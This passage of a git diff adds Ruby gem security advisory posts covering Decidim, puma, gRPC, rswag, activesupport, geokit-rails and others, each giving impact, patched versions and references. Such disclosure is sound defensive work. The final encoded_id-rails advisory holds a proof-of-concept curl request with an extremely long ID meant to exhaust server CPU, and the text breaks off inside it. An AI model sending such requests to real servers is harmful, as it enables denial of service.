+    - https://github.com/decidim/decidim/security/advisories/GHSA-5652-92r9-3fx9
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-34089
+    - https://github.com/decidim/decidim/releases/tag/v0.26.6
+    - https://github.com/decidim/decidim/releases/tag/v0.27.3
+    - https://github.com/advisories/GHSA-5652-92r9-3fx9
+---
diff --git a/advisories/_posts/2023-07-11-CVE-2023-34090.md b/advisories/_posts/2023-07-11-CVE-2023-34090.md
new file mode 100644
index 00000000..5dbf9d27
--- /dev/null
+++ b/advisories/_posts/2023-07-11-CVE-2023-34090.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2023-34090 (decidim): Decidim vulnerable to sensitive data disclosure'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2023-34090
+  ghsa: jm79-9pm4-vrw9
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-jm79-9pm4-vrw9
+  title: Decidim vulnerable to sensitive data disclosure
+  date: 2023-07-11
+  description: |
+    Note: added the actual report as a [comment](https://github.com/decidim/decidim/security/advisories/GHSA-jm79-9pm4-vrw9#advisory-comment-81110).
+
+    ### Summary
+
+    Decidim, a platform for digital citizen participation, uses a third-party library named Ransack for filtering certain database collections (e.g., public meetings). By default, this library allows filtering on all data attributes and associations. This allows an unauthenticated remote attacker to exfiltrate non-public data from the underlying database of a Decidim instance (e.g., exfiltrating data from the user table).
+
+    ### Impact
+    This issue may lead to Sensitive Data Disclosure.
+
+    ### Patches
+    The problem was patched in [v0.27.3](https://github.com/decidim/decidim/releases/tag/v0.27.3).
+
+    ### Workarounds
+    Disable or unpublish all meetings components from your application.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 0.27.0"
+  patched_versions:
+  - ">= 0.27.3"
+  related:
+    url:
+    - https://github.com/decidim/decidim/security/advisories/GHSA-jm79-9pm4-vrw9
+    - https://github.com/decidim/decidim/security/advisories/GHSA-jm79-9pm4-vrw9#advisory-comment-81110
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-34090
+    - https://github.com/decidim/decidim/releases/tag/v0.27.3
+    - https://github.com/advisories/GHSA-jm79-9pm4-vrw9
+---
diff --git a/advisories/_posts/2023-07-15-CVE-2023-38337.md b/advisories/_posts/2023-07-15-CVE-2023-38337.md
new file mode 100644
index 00000000..88997120
--- /dev/null
+++ b/advisories/_posts/2023-07-15-CVE-2023-38337.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2023-38337 (rswag): rswag vulnerable to arbitrary JSON and YAML file read
+  via directory traversal'
+comments: false
+categories:
+- rswag
+advisory:
+  gem: rswag
+  cve: 2023-38337
+  ghsa: vc79-65pr-q82v
+  url: https://github.com/rswag/rswag/issues/653
+  title: rswag vulnerable to arbitrary JSON and YAML file read via directory traversal
+  date: 2023-07-15
+  description: |
+    rswag before 2.10.1 allows remote attackers to read arbitrary JSON and
+    YAML files via directory traversal, because rswag-api can expose a file that is
+    not the OpenAPI (or Swagger) specification file of a project.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.10.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-38337
+    - https://github.com/rswag/rswag/issues/653
+    - https://github.com/rswag/rswag/compare/2.9.0...2.10.1
+    - https://github.com/advisories/GHSA-vc79-65pr-q82v
+---
diff --git a/advisories/_posts/2023-08-03-CVE-2023-38697.md b/advisories/_posts/2023-08-03-CVE-2023-38697.md
new file mode 100644
index 00000000..22dc2a35
--- /dev/null
+++ b/advisories/_posts/2023-08-03-CVE-2023-38697.md
@@ -0,0 +1,66 @@
+---
+layout: advisory
+title: 'CVE-2023-38697 (protocol-http1): protocol-http1 HTTP Request/Response Smuggling
+  vulnerability'
+comments: false
+categories:
+- protocol-http1
+advisory:
+  gem: protocol-http1
+  cve: 2023-38697
+  ghsa: 6jwc-qr2q-7xwj
+  url: https://github.com/socketry/protocol-http1/security/advisories/GHSA-6jwc-qr2q-7xwj
+  title: protocol-http1 HTTP Request/Response Smuggling vulnerability
+  date: 2023-08-03
+  description: |
+    ### Impact
+
+    [RFC 9112 Section 7.1](https://www.rfc-editor.org/rfc/rfc9112#name-chunked-transfer-coding)
+    defined the format of chunk size, chunk data and chunk
+    extension (detailed ABNF is in Appendix section).
+
+    In summary:
+
+    - The value of Content-Length header should be a string of 0-9 digits.
+    - The chunk size should be a string of hex digits and should split
+       from chunk data using CRLF.
+    - The chunk extension shouldn't contain any invisible character.
+
+    However, we found that Falcon has following behaviors while
+    disobey the corresponding RFCs.
+
+    - Falcon accepts Content-Length header values that have "+" prefix.
+    - Falcon accepts Content-Length header values that written in
+      hexadecimal with "0x" prefix.
+    - Falcon accepts "0x" and "+" prefixed chunk size.
+    - Falcon accepts LF in chunk extension.
+
+    This behavior can lead to desync when forwarding through multiple
+    HTTP parsers, potentially results in HTTP request smuggling and
+    firewall bypassing. Note that while these issues were reproduced
+    in Falcon (the server), the issue is with `protocol-http1` which
+    implements the HTTP/1 protocol parser. We have not yet been advised
+    of any real world exploit or practical attack.
+
+    ### Patches
+
+    Fixed in `protocol-http1` v0.15.1+.
+
+    ### Workarounds
+
+    No.
+
+    ### References
+
+    https://github.com/socketry/protocol-http1/pull/20
+  cvss_v3: 5.8
+  patched_versions:
+  - ">= 0.15.1"
+  related:
+    url:
+    - https://github.com/socketry/protocol-http1/security/advisories/GHSA-6jwc-qr2q-7xwj
+    - https://github.com/socketry/protocol-http1/pull/20
+    - https://github.com/socketry/protocol-http1/commit/e11fc164fd2b36f7b7e785e69fa8859eb06bcedd
+    - https://github.com/advisories/GHSA-6jwc-qr2q-7xwj
+  notes: CVE-2023-38697 not yet published
+---
diff --git a/advisories/_posts/2023-08-08-GHSA-7vh7-fw88-wj87.md b/advisories/_posts/2023-08-08-GHSA-7vh7-fw88-wj87.md
new file mode 100644
index 00000000..10d380a2
--- /dev/null
+++ b/advisories/_posts/2023-08-08-GHSA-7vh7-fw88-wj87.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'GHSA-7vh7-fw88-wj87 (commonmarker): Several quadratic complexity bugs may
+  lead to denial of service in Commonmarker'
+comments: false
+categories:
+- commonmarker
+advisory:
+  gem: commonmarker
+  ghsa: 7vh7-fw88-wj87
+  url: https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-7vh7-fw88-wj87
+  title: Several quadratic complexity bugs may lead to denial of service in Commonmarker
+  date: 2023-08-08
+  description: |
+    ## Impact
+
+    Several quadratic complexity bugs in commonmarker's underlying
+    [`cmark-gfm`](https://github.com/github/cmark-gfm) library may
+    lead to unbounded resource exhaustion and subsequent denial of service.
+
+    The following vulnerabilities were addressed:
+
+    * [CVE-2023-37463](https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5)
+
+    For more information, consult the release notes for version
+    [`0.29.0.gfm.12`](https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.12).
+
+    ## Mitigation
+
+    Users are advised to upgrade to commonmarker version
+    [`0.23.10`](https://rubygems.org/gems/commonmarker/versions/0.23.10).
+  patched_versions:
+  - ">= 0.23.10"
+  related:
+    url:
+    - https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-7vh7-fw88-wj87
+    - https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.12
+    - https://github.com/gjtorikian/commonmarker/commit/db8cd377b54541f7fd484d168b7682a282a680f7
+    - https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5
+    - https://rubygems.org/gems/commonmarker/versions/0.23.10
+    - https://github.com/advisories/GHSA-7vh7-fw88-wj87
+  notes: No CVE number, no cvss_v2, no cvss_v3
+---
diff --git a/advisories/_posts/2023-08-09-CVE-2023-33953.md b/advisories/_posts/2023-08-09-CVE-2023-33953.md
new file mode 100644
index 00000000..55495464
--- /dev/null
+++ b/advisories/_posts/2023-08-09-CVE-2023-33953.md
@@ -0,0 +1,54 @@
+---
+layout: advisory
+title: 'CVE-2023-33953 (grpc): Excessive Iteration in gRPC'
+comments: false
+categories:
+- grpc
+advisory:
+  gem: grpc
+  cve: 2023-33953
+  ghsa: 496j-2rq6-j6cc
+  url: https://github.com/advisories/GHSA-496j-2rq6-j6cc
+  title: Excessive Iteration in gRPC
+  date: 2023-08-09
+  description: |
+    gRPC contains a vulnerability that allows hpack table accounting
+    errors could lead to unwanted disconnects between clients and
+    servers in exceptional cases/ Three vectors were found that allow
+    the following DOS attacks:
+
+    - Unbounded memory buffering in the HPACK parser
+    - Unbounded CPU consumption in the HPACK parser
+
+    The unbounded CPU consumption is down to a copy that occurred
+    per-input-block in the parser, and because that could be unbounded
+    due to the memory copy bug we end up with an O(n^2) parsing loop,
+    with n selected by the client.
+
+    The unbounded memory buffering bugs:
+
+    - The header size limit check was behind the string reading code,
+      so we needed to first buffer up to a 4 gigabyte string before
+      rejecting it as longer than 8 or 16kb.
+
+    - HPACK varints have an encoding quirk whereby an infinite number
+      of 0’s can be added at the start of an integer. gRPC’s hpack
+      parser needed to read all of them before concluding a parse.
+
+    - gRPC’s metadata overflow check was performed per frame, so that
+      the following sequence of frames could cause infinite buffering:
+      HEADERS: containing a: 1 CONTINUATION: containing a: 2 CONTINUATION:
+      containing a: 3 etc…
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 1.53.2"
+  - "~> 1.54.3"
+  - "~> 1.55.2"
+  - ">= 1.56.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-33953
+    - https://cloud.google.com/support/bulletins#gcp-2023-022
+    - https://security.snyk.io/vuln/SNYK-RUBY-GRPC-5834442
+    - https://github.com/advisories/GHSA-496j-2rq6-j6cc
+---
diff --git a/advisories/_posts/2023-08-18-CVE-2023-40175.md b/advisories/_posts/2023-08-18-CVE-2023-40175.md
new file mode 100644
index 00000000..fb022ffa
--- /dev/null
+++ b/advisories/_posts/2023-08-18-CVE-2023-40175.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2023-40175 (puma): Inconsistent Interpretation of HTTP Requests (''HTTP
+  Request/Response Smuggling'') in puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2023-40175
+  ghsa: 68xg-gqqm-vgj8
+  url: https://github.com/puma/puma/security/advisories/GHSA-68xg-gqqm-vgj8
+  title: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
+    in puma
+  date: 2023-08-18
+  description: |
+    ### Impact
+
+    Prior to version 6.3.1, puma exhibited incorrect behavior when parsing chunked transfer encoding bodies and zero-length Content-Length headers in a way that allowed HTTP request smuggling.
+
+    The following vulnerabilities are addressed by this advisory:
+    - Incorrect parsing of trailing fields in chunked transfer encoding bodies
+    - Parsing of blank/zero-length Content-Length headers`\r\n`
+
+    ### Patches
+
+    The vulnerability has been fixed in 6.3.1 and 5.6.7.
+
+    ### Workarounds
+
+    No known workarounds.
+
+    ### References
+
+    [HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
+  cvss_v3: 6.5
+  patched_versions:
+  - "~> 5.6.7"
+  - ">= 6.3.1"
+  related:
+    url:
+    - https://github.com/puma/puma/releases/tag/v5.6.7
+    - https://github.com/puma/puma/releases/tag/v6.3.1
+    - https://github.com/puma/puma/commit/690155e7d644b80eeef0a6094f9826ee41f1080a
+    - https://github.com/puma/puma/commit/ed0f2f94b56982c687452504b95d5f1fbbe3eed1
+    - https://github.com/advisories/GHSA-68xg-gqqm-vgj8
+---
diff --git a/advisories/_posts/2023-08-18-GHSA-68xg-gqqm-vgj8.md b/advisories/_posts/2023-08-18-GHSA-68xg-gqqm-vgj8.md
new file mode 100644
index 00000000..32266b7a
--- /dev/null
+++ b/advisories/_posts/2023-08-18-GHSA-68xg-gqqm-vgj8.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'GHSA-68xg-gqqm-vgj8 (puma): Inconsistent Interpretation of HTTP Requests (''HTTP
+  Request/Response Smuggling'') in puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  ghsa: 68xg-gqqm-vgj8
+  url: https://github.com/puma/puma/security/advisories/GHSA-68xg-gqqm-vgj8
+  title: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
+    in puma
+  date: 2023-08-18
+  description: |
+    ### Impact
+
+    Prior to version 6.3.1, puma exhibited incorrect behavior when parsing chunked transfer encoding bodies and zero-length Content-Length headers in a way that allowed HTTP request smuggling.
+
+    The following vulnerabilities are addressed by this advisory:
+    - Incorrect parsing of trailing fields in chunked transfer encoding bodies
+    - Parsing of blank/zero-length Content-Length headers`\r\n`
+
+    ### Patches
+
+    The vulnerability has been fixed in 6.3.1 and 5.6.7.
+
+    ### Workarounds
+
+    No known workarounds.
+
+    ### References
+
+    [HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
+  cvss_v3: 6.5
+  patched_versions:
+  - "~> 5.6.7"
+  - ">= 6.3.1"
+  related:
+    url:
+    - https://github.com/puma/puma/commit/690155e7d644b80eeef0a6094f9826ee41f1080a
+---
diff --git a/advisories/_posts/2023-08-23-CVE-2023-38037.md b/advisories/_posts/2023-08-23-CVE-2023-38037.md
new file mode 100644
index 00000000..1f3e08e1
--- /dev/null
+++ b/advisories/_posts/2023-08-23-CVE-2023-38037.md
@@ -0,0 +1,62 @@
+---
+layout: advisory
+title: 'CVE-2023-38037 (activesupport): Possible File Disclosure of Locally Encrypted
+  Files'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+  gem: activesupport
+  framework: rails
+  cve: 2023-38037
+  ghsa: cr5q-6q9f-rq6q
+  url: https://github.com/rails/rails/releases/tag/v7.0.7.1
+  title: Possible File Disclosure of Locally Encrypted Files
+  date: 2023-08-23
+  description: |
+    There is a possible file disclosure of locally encrypted files in
+    Active Support. This vulnerability has been assigned the
+    CVE identifier CVE-2023-38037.
+
+    * Versions Affected: >= 5.2.0
+    * Not affected: < 5.2.0
+    * Fixed Versions: 7.0.7.1, 6.1.7.5
+
+    # Impact
+
+    ActiveSupport::EncryptedFile writes contents that will be encrypted
+    to a temporary file. The temporary file’s permissions are defaulted
+    to the user’s current umask settings, meaning that it’s possible
+    for other users on the same system to read the contents of the
+    temporary file.
+
+    Attackers that have access to the file system could possibly read
+    the contents of this temporary file while a user is editing it.
+
+    All users running an affected release should either upgrade or use
+    one of the workarounds immediately.
+
+    # Releases
+
+    The fixed releases are available at the normal locations.
+
+    # Workarounds
+
+    To work around this issue, you can set your umask to be more
+    restrictive like this:
+
+      $ umask 0077
+  cvss_v3: 5.5
+  unaffected_versions:
+  - "< 5.2.0"
+  patched_versions:
+  - "~> 6.1.7, >= 6.1.7.5"
+  - ">= 7.0.7.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-38037
+    - https://github.com/rails/rails/releases/tag/v7.0.7.1
+    - https://github.com/rails/rails/commit/a21d6edf35a60383dfa6c4da49e4b1aef5f00731
+    - https://github.com/advisories/GHSA-cr5q-6q9f-rq6q
+---
diff --git a/advisories/_posts/2023-09-13-CVE-2023-4785.md b/advisories/_posts/2023-09-13-CVE-2023-4785.md
new file mode 100644
index 00000000..654a82d2
--- /dev/null
+++ b/advisories/_posts/2023-09-13-CVE-2023-4785.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2023-4785 (grpc): Denial of Service Vulnerability in gRPC TCP Server (Posix-compatible
+  platforms)'
+comments: false
+categories:
+- grpc
+advisory:
+  gem: grpc
+  cve: 2023-4785
+  ghsa: p25m-jpj4-qcrr
+  url: https://groups.google.com/g/grpc-io/c/LlLkB1CeE4U
+  title: Denial of Service Vulnerability in gRPC TCP Server (Posix-compatible platforms)
+  date: 2023-09-13
+  description: |
+    Lack of error handling in the TCP server in Google's gRPC starting
+    version 1.23 on posix-compatible platforms (ex. Linux) allows an
+    attacker to cause a denial of service by initiating a significant
+    number of connections with the server.
+
+    Note that gRPC C++ Python, and Ruby are affected, but
+    gRPC Java and Go are NOT affected. 
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 1.53.0"
+  patched_versions:
+  - "~> 1.53.2"
+  - "~> 1.54.3"
+  - "~> 1.55.3"
+  - ">= 1.56.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-4785
+    - https://groups.google.com/g/grpc-io/c/LlLkB1CeE4U
+    - https://rubygems.org/gems/grpc/versions/1.53.2
+    - https://rubygems.org/gems/grpc/versions/1.54.3
+    - https://rubygems.org/gems/grpc/versions/1.55.3
+    - https://rubygems.org/gems/grpc/versions/1.56.2
+    - https://github.com/grpc/grpc/pull/33656
+    - https://github.com/grpc/grpc/pull/33667
+    - https://github.com/grpc/grpc/pull/33669
+    - https://github.com/grpc/grpc/pull/33670
+    - https://github.com/grpc/grpc/pull/33672
+    - https://github.com/advisories/GHSA-p25m-jpj4-qcrr
+---
diff --git a/advisories/_posts/2023-09-14-CVE-2023-26141.md b/advisories/_posts/2023-09-14-CVE-2023-26141.md
new file mode 100644
index 00000000..0a406c08
--- /dev/null
+++ b/advisories/_posts/2023-09-14-CVE-2023-26141.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2023-26141 (sidekiq): sidekiq Denial of Service vulnerability'
+comments: false
+categories:
+- sidekiq
+advisory:
+  gem: sidekiq
+  cve: 2023-26141
+  ghsa: 3qc2-v3hp-6cv8
+  url: https://nvd.nist.gov/vuln/detail/CVE-2023-26141
+  title: sidekiq Denial of Service vulnerability
+  date: 2023-09-14
+  description: |
+    Versions of the package sidekiq before 7.1.3 are vulnerable to Denial
+    of Service (DoS) due to insufficient checks in the dashboard-charts.js
+    file. An attacker can exploit this vulnerability by manipulating the
+    localStorage value which will cause excessive polling requests.
+  cvss_v3: 4.9
+  patched_versions:
+  - "~> 6.5.10"
+  - ">= 7.1.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-26141
+    - https://github.com/sidekiq/sidekiq/blob/main/Changes.md#713
+    - https://github.com/sidekiq/sidekiq/commit/62c90d7c5a7d8a378d79909859d87c2e0702bf89
+    - https://gist.github.com/keeganparr1/1dffd3c017339b7ed5371ed3d81e6b2a
+    - https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQ-5885107
+    - https://github.com/sidekiq/sidekiq/blob/6-x/web/assets/javascripts/dashboard.js#L6
+    - https://github.com/advisories/GHSA-3qc2-v3hp-6cv8
+---
diff --git a/advisories/_posts/2023-10-05-CVE-2023-36465.md b/advisories/_posts/2023-10-05-CVE-2023-36465.md
new file mode 100644
index 00000000..a956ba0f
--- /dev/null
+++ b/advisories/_posts/2023-10-05-CVE-2023-36465.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2023-36465 (decidim): Decidim has broken access control in templates'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2023-36465
+  ghsa: 639h-86hw-qcjq
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-639h-86hw-qcjq
+  title: Decidim has broken access control in templates
+  date: 2023-10-05
+  description: |
+    ### Impact
+
+    The `templates` module doesn't enforce the correct permissions,
+    allowing any logged-in user to access to this functionality in
+    the administration panel. An attacker could use this vulnerability
+    to change, create or delete templates of surveys.
+  cvss_v3: 9.1
+  unaffected_versions:
+  - "< 0.23.2"
+  patched_versions:
+  - "~> 0.26.8"
+  - ">= 0.27.4"
+  related:
+    url:
+    - https://github.com/decidim/decidim/security/advisories/GHSA-639h-86hw-qcjq
+    - https://github.com/decidim/decidim/releases/tag/v0.26.8
+    - https://github.com/decidim/decidim/releases/tag/v0.27.4
+    - https://github.com/advisories/GHSA-639h-86hw-qcjq
+  notes: No NVD url; No cvss_v2
+---
diff --git a/advisories/_posts/2023-10-06-CVE-2023-26153.md b/advisories/_posts/2023-10-06-CVE-2023-26153.md
new file mode 100644
index 00000000..37e6b28a
--- /dev/null
+++ b/advisories/_posts/2023-10-06-CVE-2023-26153.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2023-26153 (geokit-rails): geokit-rails Command Injection vulnerability'
+comments: false
+categories:
+- geokit-rails
+advisory:
+  gem: geokit-rails
+  cve: 2023-26153
+  ghsa: 7xvc-v44j-46fh
+  url: https://github.com/advisories/GHSA-7xvc-v44j-46fh
+  title: geokit-rails Command Injection vulnerability
+  date: 2023-10-06
+  description: |
+    Versions of the package geokit-rails before 2.5.0 are vulnerable
+    to Command Injection due to unsafe deserialisation of YAML within
+    the 'geo_location' cookie. This issue can be exploited remotely
+    via a malicious cookie value.
+
+    **Note:**
+
+     An attacker can use this vulnerability to execute commands
+     on the host system.
+  cvss_v3: 8.3
+  patched_versions:
+  - ">= 2.5.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-26153
+    - https://gist.github.com/CalumHutton/b7aa1c2e71c8d4386463ac14f686901d
+    - https://github.com/geokit/geokit-rails/commit/7ffc5813e57f6f417987043e1039925fd0865c43
+    - https://github.com/geokit/geokit-rails/commit/a93dfe49fb9aeae7164e2f8c4041450a04b5482f
+    - https://github.com/geokit/geokit-rails/blob/master/lib/geokit-rails/ip_geocode_lookup.rb#L37
+    - https://security.snyk.io/vuln/SNYK-RUBY-GEOKITRAILS-5920323
+    - https://github.com/advisories/GHSA-7xvc-v44j-46fh
+---
diff --git a/advisories/_posts/2023-10-06-CVE-2023-5214.md b/advisories/_posts/2023-10-06-CVE-2023-5214.md
new file mode 100644
index 00000000..960c2886
--- /dev/null
+++ b/advisories/_posts/2023-10-06-CVE-2023-5214.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2023-5214 (bolt): Puppet Bolt privilege escalation vulnerability'
+comments: false
+categories:
+- bolt
+advisory:
+  gem: bolt
+  cve: 2023-5214
+  ghsa: 289m-2964-f8q5
+  url: https://www.puppet.com/security/cve/cve-2023-5214-privilege-escalation-puppet-bolt
+  title: Puppet Bolt privilege escalation vulnerability
+  date: 2023-10-06
+  description: |
+    In Puppet Bolt versions prior to 3.27.4, a path
+    to escalate privileges was identified.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 3.27.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-5214
+    - https://www.puppet.com/security/cve/cve-2023-5214-privilege-escalation-puppet-bolt
+    - https://yanac.hu/2023/10/07/cve-2023-5214-puppetlabs-puppet-bolt-up-to-3-27-3-privileges-management
+    - https://github.com/advisories/GHSA-289m-2964-f8q5
+---
diff --git a/advisories/_posts/2023-10-19-CVE-2023-46035.md b/advisories/_posts/2023-10-19-CVE-2023-46035.md
new file mode 100644
index 00000000..d87d3c4e
--- /dev/null
+++ b/advisories/_posts/2023-10-19-CVE-2023-46035.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2023-46035 (svg_optimizer): External XML entity (XXE) vulnerability in
+  svg_optimizer rubygem'
+comments: false
+categories:
+- svg_optimizer
+advisory:
+  gem: svg_optimizer
+  cve: 2023-46035
+  ghsa: 6hvg-62q8-95v7
+  url: https://github.com/fnando/svg_optimizer/pull/17
+  title: External XML entity (XXE) vulnerability in svg_optimizer rubygem
+  date: 2023-10-19
+  description: |
+    An issue in Fnando svg_optimizer v.0.2.6 allows a remote attacker to escalate privileges when
+    optimizing untrusted SVG content.
+  patched_versions:
+  - ">= 0.3.0"
+---
diff --git a/advisories/_posts/2023-10-24-CVE-2024-0241.md b/advisories/_posts/2023-10-24-CVE-2024-0241.md
new file mode 100644
index 00000000..dbe41b54
--- /dev/null
+++ b/advisories/_posts/2023-10-24-CVE-2024-0241.md
@@ -0,0 +1,65 @@
+---
+layout: advisory
+title: 'CVE-2024-0241 (encoded_id-rails): encoded_id-rails potential DOS vulnerability
+  due to URIs with extremely long encoded IDs'
+comments: false
+categories:
+- encoded_id-rails
+advisory:
+  gem: encoded_id-rails
+  cve: 2024-0241
+  ghsa: 3px7-jm2p-6h2c
+  url: https://github.com/stevegeek/encoded_id-rails/security/advisories/GHSA-3px7-jm2p-6h2c
+  title: encoded_id-rails potential DOS vulnerability due to URIs with extremely long
+    encoded IDs
+  date: 2023-10-24
+  description: |
+    ### Impact
+
+    The length of URIs and the various parts (eg path segments, query
+    parameters) is usually limited by the webserver processing the
+    incoming request. In the case of Puma the defaults are :
+
+    - path segment length: 8192
+    - Max URI length: 1024 * 12
+    - Max query length: 1024 * 10
+
+    See https://github.com/puma/puma/blob/master/docs/compile_options.md
+
+    If too long Puma raises:
+    > Puma caught this error: HTTP element REQUEST_PATH is longer than
+      the (8192) allowed length (was 12503) (Puma::HttpParserError)
+
+    However due to the performance of `hashids` extremely long encoded
+    IDs will consume a large amount of CPU and allocate a huge number
+    of intermediate objects.
+
+    For example:
+
+    ```
+    curl -vvv https://localhost.ssl:3000//dos?id=abcd-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa